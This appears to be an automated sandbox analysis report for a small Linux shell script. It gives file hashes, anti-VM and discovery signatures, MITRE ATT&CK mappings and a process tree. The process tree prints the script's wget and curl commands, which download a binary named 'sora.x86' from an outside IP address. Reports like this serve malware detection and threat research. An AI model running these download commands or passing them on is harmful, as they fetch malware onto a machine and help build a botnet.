c6999bd9af6aa383fb2f37fb391bdf7d86141f8d284afd2ca3a3e44667dbb364

Analysis

max time kernel
148s
max time network
8s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
12/11/2024, 01:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
3b6b5bbb0042cc99fd09883b213d50f6dbd9b4872c93e343b31850ca33d53d8b.sh
Size 2KB
Sample241112-bcs1va1drm
SHA256 3b6b5bbb0042cc99fd09883b213d50f6dbd9b4872c93e343b31850ca33d53d8b
MD5 022d4174cf8995418557252b59cda437
SHA1 fda59da305a30c26d79a6ca50629937d7abf43bc
SHA512 70c28917d02042fc6bd2cda63c4b9baae60dd39eb06688b912d7bec7b383fc9cbd2fa4e62000e7b1a41e5495078ddd00537826bca915ee41032c984c9d0a73ec
MD5 SHA1 SHA512

Score

4^/10

antivm discovery

Malware Config

Signatures

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

/tmp/3b6b5bbb0042cc99fd09883b213d50f6dbd9b4872c93e343b31850ca33d53d8b.sh
/tmp/3b6b5bbb0042cc99fd09883b213d50f6dbd9b4872c93e343b31850ca33d53d8b.sh
1⤵
PID:648
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.x86
  2⤵
  PID:650
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.x86
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:659

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads